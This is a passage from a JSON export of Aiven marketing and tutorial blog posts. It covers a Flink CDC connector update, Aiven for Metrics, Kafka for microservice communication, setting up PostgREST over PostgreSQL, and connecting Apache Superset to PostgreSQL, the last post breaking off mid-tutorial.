Kafka infrastructure to Aiven.  \n\n\n\n### Change Data Capture(CDC) connector for PostgreSQL\n\n\nAiven for Apache Flink now comes with a [CDC connector for PostgreSQL](https://aiven.io/docs/products/flink/howto/pg-cdc-connector), using the Debezium framework for change data capture. Let’s take a closer look at CDC as a paradigm for capturing changes to your database and why it becomes an ever more prominent use case for Apache Flink.\n\n\n### What is Change Data Capture (CDC) and why you should care\n\nChange data capture (CDC) is the process of identifying and capturing changes made to data in a database to track what and when is updated in an organization’s data and then alert and inform other systems and services that must react to such changes in real-time. Especially in today’s business environment, where data is frequently referred to as the lifeblood of the modern enterprise, keeping track of such data updates is becoming increasingly challenging — although being increasingly important. Just think about the frequency with which data is being updated for an e-commerce retailer. Any time a new transaction or order is recorded or new inventory is added or deleted. Having the ability to track and respond to such data changes in real-time becomes ‘a must’ for modern, cloud application development where multiple (micro) services are codependent on each other and must be adjusted according to all new recorded changes in a database.\n\nInstead of upgrading any application or service at the same time as the changes occur in the source database — such as [PostgreSQL](https://aiven.io/postgresql) or [MySQL](https://aiven.io/mysql), Change Data Capture (CDC) can easily track row-level changes in source tables as insertions, deletions and updates to the data and make such changes available as events that can be consumed by other systems or services that depend on the changed data. Some interesting use cases for Change Data Capture include among others Data Replication workloads where data is replicated across systems and environments to ensure each data warehouse, data lake or relational database reflects the latest changes and status quo of the data. Another use case is Microservice(s) synchronization where multiple services need to be synchronized and updated (more often than not with low latency) with the latest updates to the respective data.\n\n### CDC connection from Aiven for PostgreSQL\n\nCustomers could previously integrate Aiven for Apache Flink with Aiven for PostgreSQL, however, this integration would be a query based approach which had some limitations, especially as this relates to memory utilization for low latency scenarios. In the standard setup, Aiven for Apache Flink users would need to process the entire dataset of the database (in a given period of time) and update any changes that occurred in that timeframe. With the [CDC connector for PostgreSQL](https://aiven.io/docs/products/flink/howto/pg-cdc-connector), Aiven users can now stream any changes in their PostgreSQL instance as events in real-time and send them to Flink for additional processing and/or transformations before moving the processed events to any downstream systems and operators. The updated connection makes it easy to process changes in a Postgres database and pass it on to Aiven for Apache Kafka to make such changes available to downstream services and applications or Aiven for OpenSearch for analytical workloads or logging purposes.\n\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/fba674ae9a038e0a87600d170fcfe23d7840cc37-1999x1003.png?w=450)\n\n\nExisting and new customers of Aiven for Apache Flink can leverage the CDC connector for Aiven for PostgreSQL to quickly: \n1. Maintain a single source-of-truth with recorded changes to their PostgreSQL database(s) by synchronizing all other database instances, data warehouses and data lakes with the latest recorded changes to the data in real-time. \n2. For event driven architectures where multiple services are interconnected and react to events in real-time, customers can now ensure that synchronizing these services will happen more seamlessly and with sub-second latency resulting in smoother operations for their team.\n\n\n## How to get started with the new features\n\nWe are very excited to bring these new additions to our Flink service and cannot wait to show what’s in store for Aiven for Apache Flink in the future! To take advantage of the new features in the product, be sure to perform a maintenance upgrade to your Flink service. If you haven’t used Aiven for Apache Flink and are brand new to Aiven, you can sign up for a 30-day trial [here](https://aiven.io/how-to-get-started-with-aiven) and start your stream processing and real-time analytics journey with Aiven! \n\nIf you have additional feedback or requests for our product, we would be happy to hear your suggestions [here](https://aiven.io/contact).\n\n\n## Pricing and Availability\n\nAiven for Apache Flink is available on all major hyperscalers - AWS, Google Cloud and Microsoft Azure - in over 100 regions globally.\n\nAll Aiven for Apache Flink plans come with a minimum of 3-node setup, providing resilience and high availability while ensuring minimal downtime even in the case of a node failure.\n\nAiven for Apache Flink is priced per hour, with prices starting from $0.57/h ($400/month).","categories":[{"_key":"dacff20cd466","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Aiven for Apache Flink, Apache Flink, Flink managed service, Streaming data ","asset":{"_ref":"image-2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3-2500x1308-png","_type":"reference"}},"publishedAt":"2023-06-20T12:30:00.000Z","related":[{"_key":"ea824c46e401","_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"},{"_key":"23c8a24ecc8b","_ref":"178690c7-abca-455a-b22a-4db81e216219","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The latest Aiven for Apache Flink comes with integration for multiple versions of Apache Kafka®, a CDC connector for PostgreSQL®.","metaImage":{"_type":"mainImage","alt":"Aiven Flink, Apache Flink, Flink Managed service","asset":{"_ref":"image-2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3-2500x1308-png","_type":"reference"}},"metaTitle":"What’s new with Aiven for Apache Flink® - Q2 2023"},"slug":{"_type":"slug","current":"/blog/whats-new-with-aiven-for-apache-flink-q2-2023"},"subtitle":"The latest Aiven for Apache Flink service comes with integration for multiple versions of Apache Kafka® and a CDC connector for PostgreSQL®.","title":"What’s new with Aiven for Apache Flink® - Q2 2023"}
{"__i18n_lang":"en","_createdAt":"2024-08-30T16:24:38Z","_id":"117d4f9e-b627-41f0-92d6-6b5a3abd5038","_rev":"KlB0Ss3I2J08BK3m9kJ74I","_type":"post","_updatedAt":"2024-09-04T15:47:52Z","authors":[{"_key":"b9aeed75dce9","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"Aiven recently added a new service to our offerings: Aiven for Metrics is now in Early Availability. Similar to Aiven for M3, Aiven for Metrics is a Prometheus-compatible solution powered by [Thanos](https://thanos.io/), a CNCF project aimed at providing highly available Prometheus metrics with long term storage capabilities.\n\n## Familiar features in a brand new package\n\n[Aiven for Metrics](https://aiven.io/docs/products/metrics) is fully feature compatible with our existing Aiven for M3 offering. This means that in addition to it supporting PromQL queries, it provides the same in-console integrations to collect metrics from other Aiven services, and send those metrics to Aiven for Grafana with pre-built dashboards. \n\nSo where does it differ? Thanos has the potential for significant performance gains and cost savings over M3, something [Aiven has experienced first hand](https://thanos.io/blog/2023-06-08-thanos-at-aiven/). Last year, we began the process of migrating our own internal metrics from M3 to Thanos, and the results have been phenomenal. We authored a guest blog on Thanos.io to document our findings, and of particular note we found that for less than we were paying for 30 days of retention on M3 we were able to store 3 years worth of metrics in Thanos. \n\n## Get started with Aiven for Metrics\n\nAiven for Metrics is available for you to launch from the Aiven console. If you're currently using Aiven for M3 or Aiven for InfluxDB, we also provide [in-console migration and replication tools](https://aiven.io/docs/products/metrics/howto/list-data-migration) so you can easily import existing metrics without losing any historical data. ","categories":[{"_key":"a9a459b022a5","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Aiven for Metrics is now Available","asset":{"_ref":"image-df57f8e549fef5bb496d715ffc49d9a9ffb33ca5-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-04T14:30:00.000Z","slug":{"_type":"slug","current":"/blog/aiven-for-metrics-is-now-available"},"subtitle":"There's a new metrics service in town – Aiven for Metrics provides Prometheus metrics powered by Thanos.","title":"Aiven for Metrics is Now Available"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1CuVhL1qTea2bGbOOf2mOS","_rev":"a4XEptz0xD4dYAWJ07nyz1","_type":"post","_updatedAt":"2023-09-18T10:49:12Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Here’s a quick History of Apps:\n- The Ancients: monolithic application architecture, providing absolutely everything from data store to user interface.\n- The Enlightenment: service-oriented architecture, dividing an application into a few more or less independent chunks of separate services.\n- The Modern Era: microservice architecture, further dividing services into their component parts in order to increase flexibility and resistance to failure.\n\nIf you’ve developed or updated any kind of cloud-based application in the last few years, chances are you’ve done so using a microservice architecture, rather than the more dated service-oriented architecture. So, what’s the difference?\n\n## What are microservices?\n\nMicroservices are a software development method where applications are structured as small, loosely coupled services. The services themselves are minimal atomic units which together comprise the functionality of an entire app. A microservice does one thing — only one thing — and does it well.\nMicroservices can be thought of as minimal units of functionality, can be deployed independently, are reusable, and communicate with each other via various network protocols like HTTP (More on that in a moment).\nToday, most cloud-based applications that expose a REST API are built on microservices, (or may actually be one themselves). These architectures are called microservice architectures.\n## Benefits and challenges\n### Advantages of microservices\nMore granular service structure brings with it enormous upsides. The isolation between microservices means that when a single module fails, the larger application complex may not even notice it; critical components can be built in a highly-available way, and non-critical ones will not bring down the whole system.\n\nMicroservices are interdependent in a sense, but they use well-defined APIs instead of point-to-point custom connections. This brings unparallelled flexibility for scaling and updating. \n\nReplacing individual microservices is quicker and easier than replacing big chunks of your system at once. This allows you to experiment with new technologies, and avoid getting locked into a tech stack that eventually stops meeting your needs. \n\nDuring development, working with little chunks of software means that you can finally start reeling in the big benefits of Continuous Integration and Deployment.\n### Disadvantages of microservices\nBut it’s not all sweetness and light in microservice land. When something breaks, someone has to comb through the logs, and lots of microservices equals lots of logs. Lots and lots of logs. \n\nTesting and deployment get more complicated as each microservice has to be verified as functional individually and then together. This needs orchestrated effort and proper processes. As a result, smaller companies may struggle to bring together everything needed to develop such a highly granular application.\n\nThese are all by and large people challenges. They can all be conquered by increasing available resources and coordinating properly. There is, however, one challenge that is primarily technical: the need for the microservices to communicate.\n\nNo microservice can do its job without its fellow microservices; they’re quite like people in that regard. And just like with people, communication is key. You have to do all you can to avoid latency and communication disruption, and your codebase may have to expand to accommodate the processing of requests.\n\nLet’s next take a look at some communication patterns used in microservice implementations and how to accommodate them.\n\n## Some microservice communication patterns\nIn her article “Introduction to Microservices Messaging Protocols,” Sarah Roman provides an [excellent breakdown](https://dzone.com/articles/introduction-to-microservices-messaging-protocols) of the taxonomy of communication patterns used by and between microservices:\n\n### Synchronous\nSynchronous communication is when the sender of the event waits for processing and some kind of reply, and only then proceeds to other tasks. This is typically implemented as REST calls, where the sender submits a HTTP request, and then the service processes this and returns a HTTP response. Synchronous communication suggests _tight coupling_ between services.\n\n### Asynchronous\nAsynchronous communication means that a service doesn’t need to wait on another to conclude its current task. A sender doesn’t necessarily wait for a response, but either polls for results later or records a callback function or action.  This is typically done over message buses like [Apache Kafka and/or RabbitMQ](https://aiven.io/blog/kafka-v-rabbitmq-a-comparison \"Kafka and RabbitMQ comparison\"). Asynchronous communication actually invokes _loose coupling_ between component services, because there can be no time dependencies between sending events and a receiver acting on them.\n\n### Single Receiver\nIn this case, each request has __one sender and one receiver__. If there are multiple requests, they should be staggered, because a single receiver cannot receive and process them all at once. Again, this suggests tight coupling between sender and receiver.\n\n### Multiple Receivers\nAs the category indicates, there are __multiple receivers processing multiple requests__.\n\nWe believe that, while each of these methods (in combination) have their purpose within an MSA, the most _loosely coupled_ arrangement of all is when microservices within a distributed application communicate with each other asynchronously, and via multiple receivers. This option implies that there are no strict dependencies between sender, time of send, protocol and receiver.\n\n### Pub-Sub\nThe [pub-sub](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) communication method is an elaboration on this latter method. The sender merely sends events — whenever there are events to be sent— and each receivers choose, asynchronously, which events to receive.\n\nApache Kafka may be one of the more recent evolutions of pub/sub. Apache Kafka works by passing messages via a publish-subscribe model, where software components called producers publish (append) events in time-order to distributed logs called topics (conceptually a category-named data feed to which records are appended).\n\nConsumers are configured to separately subscribe from these topics by offset (the record number in the topic). This latter idea — the notion that consumers simply decide what they will consume — removes the complexity of having to configure complicated routing rules into the producer or other components of the system at the beginning of the pipe.\n\n![diagram of apache kafka producers writing to and consumers reading from a topic](//cdn.sanity.io/images/sczeoy4w/production/23014d6c63fa5334ddb3301ce9f0b28ec20687fd-1540x998.png)\n\nWhen asynchronous communication to multiple receivers is required, Apache Kafka is a promising way to go.\n\n## Why Apache Kafka?\nWhat makes Apache Kafka a good communication solution? It solves the problem of tight-coupling between components and communication, is monitorable, and facilitates breaking up larger components into atomic, granular, independent, reusable services.\n### Routing rules configured by consumer\nWhen the routing rules are configured by consumer (a feature of pub-sub and Apache Kafka generally), there is no need to build additional complexity into the data pipe itself. This decouples components from the message bus (and each other) and lets you develop and test them independently, without worrying about dependencies.\n### Built-in Support for asynchronous messaging\nAll of the above make it reasonably simple to __decouple__ components, and focus on a specific part of the application. Asynchronous messaging, when used correctly, removes yet another point of complexity by letting your services be ready for events without being synced to them.\n### High throughput/low latency\nIt’s easier to have peace of mind about breaking up larger services into smaller, more atomic ones when you don’t have to worry about communication latency issues. Aiven's managed Kafka services have been [benchmarked](https://hackernoon.com/benchmarking-kafka-performance-part-1-write-throughput-7c7a76ab7db1) and feature the highest throughput and lowest latency of any hosted service in the industry.\n### No really - why *not* Apache Kafka?\nLet’s face it, Apache Kafka isn’t the easiest system to set up and maintain. We’re here to just gently remind you that you don’t need to go it alone - [Aiven offers a fully hosted and managed Apache Kafka](https://aiven.io/kafka \"Aiven for Apache Kafka product page\"), complete with add-ons and all the goodies.\n\n::banner[Learn more about what makes Apache Kafka so great, and how it differs from other event streaming tools.]{ctaText=\"Download ebook\" ctaLink=\"https://aiven.io/ebook/apache-kafka-for-tech-leaders\" title=\"Grab a copy of our ebook and learn the basic concepts of Apache Kafka first-hand!\" theme=\"dark\"}\n\n## Managed Apache Kafka makes your life easier\nApache Kafka can be challenging to set up. There are many options to choose from, and these vary widely depending on whether you are using an open-source version or a proprietary one, free or paid. What are your future requirements?\n\nIf you’re choosing a bundled solution, then your choice of version and installation type, for example, may come back to haunt you in the future as your business needs change.\n\nThese challenges alone may serve as a compelling argument for a managed version. With the __deployment__, __hardware outlay costs__ and __configuration__ effort out of your hands, you can focus entirely on the development for which you originally intended your Kafka deployment.\n\nWhat’s more, managed is monitorable. Are you tracking throughput? You need not worry about where the integration points are in your app to instrument custom logging and monitoring; simply monitor each of your atomic services’ throughput via your provider’s Kafka backend and metrics infrastructure.\n### Auto-scaling\nWhat sort of problems can you expect when your application scales? Bottlenecks? Race conditions? A refactoring mess to accomodate for them?\n\nA managed Kafka solution can scale automatically for you when the size of your data stream grows. As such, you needn’t worry when it’s time to refactor your services atomically, and you needn’t force your teams to maintain [blob](https://sourcemaking.com/antipatterns/the-blob)-style, clustered services with complicated dependencies just for the sake of avoiding latency between them.\n### High availability\nApache Kafka is already known for its high availability, so you never have to worry about your services being unable to communicate because a single node supporting your middleware is down.\n\nKafka’s ability to handle massive amounts of data and scale automatically lets you scale your data processing capabilities as your data load grows. And a managed solution has redundancy built right in.\n\n### Centralized, no-fuss management\nIf you’re managing your own cluster, you can expect to be tied down with installs, updates, managing version dependencies and related issues. A managed solution like Aiven for Apache Kafka® handles all of that for you, so you can focus on your core business.\n\n## Wrapping up\n[Aiven for Apache Kafka®](https://aiven.io/kafka) is a fully-managed, high throughput distributed messaging system with built-in monitoring which lets you decouple your services from the communication method, simplify your development and focus on your core application.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5bf398e2605475c2240bc6c456927755114ac7ba-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-15T00:00:00.000Z","seo":{"metaDescription":"Find out about the challenges of implementing a microservice architecture and see how pub-sub message transmission helps.","metaImage":{"alt":"","asset":{"_ref":"image-5bf398e2605475c2240bc6c456927755114ac7ba-1567x844-png","_type":"reference"}},"metaTitle":"How are your microservices talking?"},"slug":{"_type":"slug","current":"/blog/how-are-your-microservices-talking"},"subtitle":"Find out about the challenges of implementing a microservice architecture and see how pub-sub message transmission helps.","title":"How are your microservices talking?"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1vjknmEaGKkLhki8EC08Ua","_rev":"neae7oL4y1FotDvvRJecv1","_type":"post","_updatedAt":"2024-07-11T07:50:33Z","authors":[{"_key":"aa2c85481717","_ref":"7jvTwkcIsfjUdBxnDaw00U","_type":"reference"}],"body":"## PostgreSQL® + RESTful API = PostgREST!\n\nNowadays, it's a very common development pattern to store information in a relational database and interact with the data via a RESTful HTTP interface.\n\nToday I'm going to show you a handy tool called PostgREST. It generates a RESTful API _directly_ from your PostgreSQL data model, removing the need to write your own interface. We will use Aiven for PostgreSQL as our database layer and a nice dataset from Kaggle.\n\n### Create a PostgreSQL service on Aiven\nThe database of choice today is [Aiven for PostgreSQL](https://aiven.io/postgresql). If you don't have an account yet, [sign up](https://console.aiven.io/signup) and enjoy your free trial! We will also use the [Aiven CLI](https://github.com/aiven/aiven-client), follow the installation and authentication instructions on the [GitHub page](https://github.com/aiven/aiven-client#install-from-pypi).\n\nWith the CLI in place, type the following command on your terminal to create a PostgreSQL service:\n```bash\navn service create --service-type pg --cloud google-europe-west3 --plan hobbyist pg-quotes\n```\n\nYou now have a PostgreSQL service up and running!\n\n### Get the data\nTo populate our database, we use this lovely [Goodreads Quotes dataset from Kaggle](https://www.kaggle.com/abhishekvermasg1/goodreads-quotes). Go to the page and download the `quotes.csv` file on your current directory. This file contains all the data we need to start our adventure.\n\nBy inspecting the CSV file, we see the following columns:\n- `index`: the quote ID\n- `quote`: the quote itself\n- `author`: who the quote's author\n- `tags`: a list of strings to categorize the quote\n- `likes`: how many likes the quote got on Goodreads\n\nWe will create a database table to hold this data structure.\n\n### Configure the PostgreSQL\nWith the dataset in hands, we now import it into PostgreSQL. We also create a Schema and Role to interact with PostgREST later.\n\nIn your terminal, use the handy `avn service cli` to connect to the PostgreSQL console:\n```bash\navn service cli pg-quotes\n```\n\nOn the console, execute the first SQL command of the day. We create a new [Schema](https://www.postgresql.org/docs/11/ddl-schemas.html) called `api` to hold our table and data:\n```sql\nCREATE SCHEMA api;\n```\n\nNow we create the table called `quotes` based on the CSV columns we inspected before:\n```sql\nCREATE TABLE api.quotes (\n    index SERIAL,\n    quote TEXT,\n    author VARCHAR(255),\n    tags TEXT,\n    likes INTEGER\n);\n```\n\nThe `index` field has the `SERIAL` type, meaning it will auto increment on every new quote added. However, since our CSV file already have indexes up to `2999`, new quotes need to have the index field starting from `3000`. The following command does just that:\n\n```sql\nALTER SEQUENCE api.quotes_index_seq RESTART WITH 3000;\n```\n\n\u003e The `api.quotes_index_seq` was created automatically when we created the table above. The name pattern is `\u003cSCHEMA\u003e.\u003cTABLE\u003e_\u003cCOLUMN\u003e_seq`.\n\nPostgreSQL has a SQL command called [`COPY`](https://www.postgresql.org/docs/11/sql-copy.html) to move data between a file and a table. It is quite useful with CSV files. The console command [`\\COPY`](https://www.postgresql.org/docs/11/app-psql.html#APP-PSQL-META-COMMANDS-COPY) uses `COPY`, but knows how to read from the local filesystem. Run the code below to import all the lines from the `quotes.csv` into your table:\n```sql\n\\COPY api.quotes FROM 'quotes.csv' CSV HEADER;\n```\n\nPostgREST uses PostgreSQL roles as RESTful API users. Let's create a role named `operator` with all permissions on the data:\n```sql\nCREATE ROLE operator nologin;\n\nGRANT usage ON SCHEMA api TO operator;\nGRANT all ON api.quotes TO operator;\nGRANT usage, SELECT ON SEQUENCE api.quotes_index_seq TO operator;\n```\n\n\u003e In our example, `operator` has very broad data access and you probably don't want that in a production system. PostgREST supports authentication with JSON Web Tokens, read the [official documentation](https://postgrest.org/en/v8.0/auth.html) if you want to know more!\n\nThe PostgreSQL configuration is ready!\n\nNext, let's dive into PostgREST to get your HTTP interface.\n\n### Meet your new friend: PostgREST\n[PostgREST](https://postgrest.org/en/v8.0/) is a webserver which magically exposes your PostgreSQL database as an HTTP RESTful API, offering all the CRUD operations – create, read, update and delete.\n\nIt relies on well known PostgreSQL features. For example, roles becomes API users, SQL operations become query parameters and stored procedures are available as API endpoints.\n\nToday we are running PostgREST on our local machine, but it can be deployed on any platform that can run the single binary or a [Docker container](https://postgrest.org/en/v8.0/install.html#docker). You may use a virtual machine or a [Heroku app](https://postgrest.org/en/v8.0/install.html#deploying-to-heroku), for example.\n\nSeveral major tools, like [Supabase](https://supabase.io/database) and [Retool](https://retool.com), use PostgREST as the API layer. It also has a lively community - you can catch up with the developers and users in their [Gitter room](https://gitter.im/begriffs/postgrest).\n\n### Running PostgREST\nPostgREST is available as a single binary in all major package managers. Before moving on, follow the [official instructions](https://postgrest.org/en/v8.0/install.html) to install it on your machine.\n\nThe last bit we need to configure is the connection between PostgREST and PostgreSQL. We start by retrieving the PostgreSQL connection string using the Aiven CLI:\n```bash\navn service get pg-quotes --format '{service_uri}'\n```\n\nWith the output in hand, create a file named `postgrest.conf` with the content below:\n```conf\ndb-uri = \"\u003cthe-output-from-the-previous-command-here\u003e\"\ndb-schema = \"api\"\ndb-anon-role = \"operator\"\n```\n\nAs you can see, `db-schema` and `db-anon-role` refer to the previously created schema and role.\n\nFinally, let's start the PostgREST server by executing the command below:\n```bash\npostgrest postgrest.conf\n```\n\nIf everything goes smoothly, the server is running locally on the `http://localhost:3000` address.\n\n### Explore the RESTful API\nIt feels like a lot of configuration, however, it is less than writing your own CRUD backend app. With everything in place, let's explore what kind of requests we can make.\n\nThis basic HTTP request returns all quotes:\n```bash\ncurl \"http://localhost:3000/quotes\"\n```\n\nPostgREST supports [all sorts of filters](https://postgrest.org/en/v8.0/api.html) – based on the SQL language you may already know. For example, we can limit the output to 5 quotes by using the `limit=N` query parameter:\n```bash\ncurl \"http://localhost:3000/quotes?limit=5\"\n```\n\nWe can extend our HTTP query filter to return only quotes with more than 1000 likes using the `field=filter.value` pattern, and select which fields we want to display with the `select` option:\n```bash\ncurl \"http://localhost:3000/quotes?limit=5\u0026likes=gt.1000\u0026select=index,quote,author\"\n```\n\nIf it feels a lot like SQL, is because PostgREST tries its best to use already existing features from PostgreSQL, so you don't need to learn many new things.\n\nSo far we been exploring only the **read** from C**R**UD, what about other operations?\n\nUse the HTTP POST method to add a new quote:\n```shell\ncurl \"http://localhost:3000/quotes\" \\\n    -X POST -H \"Content-Type: application/json\" \\\n    -d \\\n    '\n    {\n        \"author\": \"Paulo Freire\",\n        \"quote\": \"When education is not liberating, the dream of the oppressed is to become the oppressor.\"\n    }\n    '\n```\n\nYou can check that the new entry was added correctly by executing:\n```shell\ncurl \"http://localhost:3000/quotes?index=eq.3000\"\n```\n\nTo update the quote we just added, use the HTTP PATCH verb to add the `tags` field to the quote with the `index` value of `3000`:\n```shell\ncurl \"http://localhost:3000/quotes?index=eq.3000\" \\\n    -X PATCH -H \"Content-Type: application/json\" \\\n    -d \\\n    '\n    {\n        \"tags\": \"education;inspirational;philosophy;wisdom\"\n    }\n    '\n```\n\nLastly, use the HTTP DELETE verb to delete all quotes where the `author` field contains the `??` string – the database has some corrupted entries, this operation will clean it up!\n```bash\ncurl -X DELETE \"http://localhost:3000/quotes?author=like.*??*\"\n```\n\n### Next steps!\nPostgREST is definitely a handy tool to spin up a RESTful API without needing to code in a high-level programming language or using a web framework. Today we only touched the basics of PostgREST, but if you are eager to try out more, here are some topics from their documentation that we recommend:\n- [Authentication System](https://postgrest.org/en/v8.0/auth.html)\n- [Creating Stored Procedures](https://postgrest.org/en/v8.0/api.html#stored-procedures)\n- [PostgREST Apps and Extensions](https://postgrest.org/en/v8.0/ecosystem.html#example-apps)\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n--------\n\nPostgres, PostgreSQL and the Slonik Logo are trademarks or registered trademarks of the PostgreSQL Community Association of Canada, and used with their permission.\n\n## Further reading\n\n- [Use cases for PostgreSQL®](https://aiven.io/blog/use-cases-for-postgresql)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-fb054e80363a02c8e50238630c9f917a56b9b484-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-20T00:00:00.000Z","seo":{"metaDescription":"Setting up an HTTP interface to a database can be a lot of work. Find out how PostgREST makes it quick and simple to provide RESTful access to PostgreSQL®.","metaImage":{"alt":"","asset":{"_ref":"image-fb054e80363a02c8e50238630c9f917a56b9b484-1567x844-png","_type":"reference"}},"metaTitle":"Quickly developing REST APIs with PostgREST"},"slug":{"_type":"slug","current":"/blog/quickly-developing-rest-apis-with-postgrest"},"subtitle":"Setting up an HTTP interface to a database can be a lot of work. Find out how PostgREST makes it quick and simple to provide RESTful access to PostgreSQL®.","title":"Quickly developing REST APIs with PostgREST"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"29FKVh1Mm0E2bpk58gHYyT","_rev":"wguC7mbo0o2K8r1KhmaNSj","_type":"post","_updatedAt":"2023-07-20T10:47:16Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Get started with Apache Superset and PostgreSQL\n\n\"A picture is worth a thousand words\" is a common saying in many languages. Similarly, in the data world, a visualization condenses huge amounts of raw points into an image that can be used to create insightful stories driving business decisions. Several tools exist in the dataviz ecosystem, with [Apache Superset](https://superset.apache.org/) getting a lot of traction for its open source status and the advanced list of features it offers for data exploration, visualization and sharing.\n\nThis blog post shows how to start creating amazing visualizations with Apache Superset building on an [existing PostgreSQL table](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql).\n\n::alert[Ready to dive deeper into PostgreSQL? [Sign up for a free PostgreSQL plan](https://console.aiven.io/signup) and follow along.]{title=\"Get your PostgreSQL free plan today\"}\n\n## Run Apache Superset on Docker\n\nDocker is a good friend here! It allows us to spin up - in a matter of minutes - complex software infrastructure without needing to understand and implement the setup manually. In cases like this when we're testing a new tool, it's a perfect fit!\n\nWe can start by cloning the Apache Superset GitHub repo, and navigating to the `superset` folder from our terminal:\n\n```\ngit clone https://github.com/apache/superset.git\ncd superset\n```\n\nThen we can use `docker-compose` to create all the containers needed for Apache Superset:\n\n```\ndocker-compose -f docker-compose-non-dev.yml up\n```\n\nBoom! Our Apache Superset is ready with a nice set of pre-built content we can browse.\n\nNow, let's go to `localhost:8088` in our browser, and login with the safest duo ever (`admin` as user, and `admin` as password).\n\n![Apache Superset default screen](//cdn.sanity.io/images/sczeoy4w/production/2a46de465187689c2cae42f6c6a6273317eb2348-1335x444.png \"Apache Superset default screen\")\n\nIf you're curious, check out the [Apache Superset docker page](https://superset.apache.org/docs/installation/installing-superset-using-docker-compose) for more information.\n\n## Push the dataset to PostgreSQL\n\nWe've explored happiness before on the blog, and [how to push Kaggle's related dataset to PostgreSQL via Python](https://aiven.io/blog/the-pursuit-of-happiness-with-python-and-postgresql). You can use the output mentioned there for the current example, or use your own. The end result in our example is a PostgreSQL instance named `demo-pg`, containing a table called `happiness` with content similar to the one below:\n\n```\nsurvey_yr | country | overall_rank |  score  |  gdp   | generosity | freedom  | social_support | life_exp | gov_trust      \n----------+---------+--------------+---------+--------+------------+----------+----------------+----------+----------\n       19 | Finland |            1 |  7.7690 | 1.3400 |   0.1530   |  0.5960  |      1.587     |  0.9860  |  0.3930\n       19 | Denmark |            2 |  7.60   | 1.3830 |   0.2520   |  0.5920  |      1.573     |  0.9960  |  0.4100\n       19 | Norway  |            3 |  7.554  | 1.4880 |   0.2710   |  0.6030  |      1.582     |  1.0280  |  0.3410\n```\n\n## Connect Apache Superset to PostgreSQL\n\nApache Superset supports a [wide range of source databases](https://superset.apache.org/docs/databases/installing-database-drivers), and for PostgreSQL it uses [the psycopg2 library](https://superset.apache.org/docs/databases/postgres). PostgreSQL support is already included in the default Docker setup.\n\nAll we need to do is go to the Apache Superset UI, and define a new datasource pointing to our PostgreSQL database:\n\n1. Select **Data**, and then **Databases**.\n2. Click the **+DATABASE** button.\n3. At the bottom of the modal window, choose **Connect this database with a SQLAlchemy URI string instead**.\n4. Insert `demo-pg` as **DISPLAY NAME** (or your own instance name).\n5. Use the PostgreSQL URI as **SQLALCHEMY URI**. You can find the PostgreSQL URI in Aiven's console, in the service detail view, under the **Overview** tab.\n6. Test that all the settings are correct by checking your connection, and making sure you get a nice `Connection looks good!` message.\n7. Click **ADD** to persist our `demo-pg` database definition.\n\n![demo-pg database entry](//cdn.sanity.io/images/sczeoy4w/production/14e957124f319e2ac691f18cd923fc4bdaf87dce-1328x257.png \"Defining a data source\")\n\nNow, it's time to include the `happiness` table.\n\n1. Back in the Apache Superset UI, switch to the **Datasets** tab.\n2. Create a table by filling the **DATASOURCE** with `demo-pg`, the **SCHEMA** with `public` and the table with - no surprises - `happiness`.\n3. Click **ADD** to persist the datasource definition.\n\nTa daaah!\n\n![happiness dataset entry](//cdn.sanity.io/images/sczeoy4w/production/af34034e41c5143f91a211fdd89756b1f5efdbba-1328x260.png \"Entering the happiness dataset\")\n\n## Visualize data\n\nNow we are ready to use our artistic skills, and create visualizations of our data: representing data this way makes it much easier to process.\n\n1. Back in the Apache Superset UI, let's navigate to **Charts** tab.\n2. Click **+CHART**.\n3. In the popup window, select the `public.happiness` dataset we created before, and **Pivot Table v2** as visualization.\n\nLet's use the dataset, and create a heatmap of the top 10 happiest countries over the years. We can do that with the following 